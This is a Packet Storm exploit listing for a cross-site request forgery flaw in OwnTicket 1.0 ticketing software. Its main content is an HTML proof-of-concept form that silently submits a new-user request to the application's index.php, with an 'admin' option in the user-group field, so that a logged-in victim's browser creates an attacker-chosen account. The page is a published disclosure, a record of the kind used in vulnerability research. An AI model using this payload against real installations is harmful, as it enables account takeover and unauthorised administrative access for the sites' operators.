what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OwnTicket 1.0 Cross Site Request Forgery

OwnTicket 1.0 Cross Site Request Forgery
Posted Mar 10, 2019
Authored by Mr Winst0n

OwnTicket version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | f536740c2be0464e880b1593da8e1ba348ad25109cdda7c6b56fdec11d7797dc
Download | Favorite | View

OwnTicket 1.0 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: OwnTicket 1.0 - Cross Site Request Forgery (Add Addmin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: March 10, 2019
# Vendor Homepage: https://ownticket.sourceforge.io/
# Software Link : https://sourceforge.net/projects/ownticket/files/latest/download
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:

<html>
<body>
  <form class="form-horizontal" role="form" id="user" name="user" method="POST" action="http://localhost/[PATH]/index.php" >
    <input type="hidden" name="_FORM" value="user">
    <div class="row">
      <div class="col-md-10 col-md-offset-1">
        <div class="panel panel-default">
          <div class="panel-heading">
            <div class="form-group">
              <div class="col-md-12 text-center">
                <h3>Neuen User anlegen</h3>
              </div>
            </div>
          </div>
          <div class="panel-body">
            <div class="form-group">
              <label for="DATE_MODIFY" class="col-md-2 control-label">ID</label>
              <div class="col-md-3">
                <input readonly="readonly" id="ID" type="text" class="form-control" name="ID" value="0">
              </div>
              <label for="DATE_CREATE" class="col-md-2 control-label col-md-offset-2">Erstellt</label>
              <div class="col-md-3" >

                <input disabled id="DATE_CREATE" type="text" class="form-control text-center" name="DATE_CREATE" value="10.03.19 11:53">
              </div>

            </div>
            <div class="form-group">
              <label for="LOGIN" class="col-md-2 control-label">Login Name</label>
              <div class="col-md-10">

                <input   autocomplete="off" id="LOGIN" type="text" class="form-control" name="LOGIN" value="" required autofocus>
              </div>
            </div>
            <div class="form-group">
              <label for="FULL_NAME" class="col-md-2 control-label">Kompletter Name</label>

              <div class="col-md-10">
                <input autocomplete="off" id="FULL_NAME" type="text" class="form-control" name="FULL_NAME" value="" required>
              </div>
            </div>
            <div class="form-group">
              <label for="EMAIL" class="col-md-2 control-label">E-Mail</label>
              <div class="col-md-10">
                <input autocomplete="off" id="EMAIL" type="email" class="form-control" name="EMAIL" value="" required>
              </div>
            </div>
            <div class="form-group">
              <label for="TICKET_GROUP_ID" class="col-md-2 control-label">Ticket Gruppe</label>
              <div class="col-md-10">
                <select class="form-control" name="TICKET_GROUP_ID">
                  <br />
                  <option  value="7">(0) Ungruppiert</option>
                  <br />
                  <option  value="11">(10) Entwicklung</option>
                  <br />
                  <option  value="9">(10) IT</option>
                  <br />
                  <option  value="10">(10) Support</option>
                  <br />
                  <option  value="8">(10) Veraltung</option>
                  <br />
                  <option  value="12">(30) GeschA$?ftsleitung</option>
                </select>
              </div>
            </div>
            <div class="form-group">
              <label for="USER_GROUP_ID" class="col-md-2 control-label">User Gruppe</label>
              <div class="col-md-10">
                <select   class="form-control" name="USER_GROUP_ID">
                  <br />
                  <option  value="7">default</option>
                  <br />

                  <option  value="8">user</option>
                  <br />

                  <option  value="9">operator</option>
                  <br />

                  <option  value="10">management</option>
                  <br />
                  <option  value="11">admin</option>
                </select>
              </div>
            </div>
            <div class="form-group">
              <label for="SORT" class="col-md-2 control-label">Sortierung</label>
              <div class="col-md-3">
                <input  type="number" min="0" max="999" title="Format: 3 digits" id="SORT" class="form-control " name="SORT" value="10" required >
              </div>
            </div>
            <div class="form-group">

              <label for="PASSWORD" class="col-md-2 control-label">Passwort</label>
              <div class="col-md-3">
                <input autocomplete="off" id="PASSWORD" type="password" class="form-control" name="PASSWORD" value="" required >
              </div>
            </div>
            <div class="form-group">
              <div class="col-md-6 pull-right">

                <div class="col-md-12 well">
                  <div class=" text-center ">

                    <button  class="btn btn-primary" type="submit" name="BUTTON_SAVE">
                      Speichern <i class="glyphicon glyphicon-floppy-disk"></i>
                    </button>

                    <a href='http://localhost/[PATH]/index.php?user' class="btn btn-info" type="submit" name="">
                      Zur&uuml;ck <i class="glyphicon glyphicon-new-window"></i>
                    </a>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </form>

</body>
</html>
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close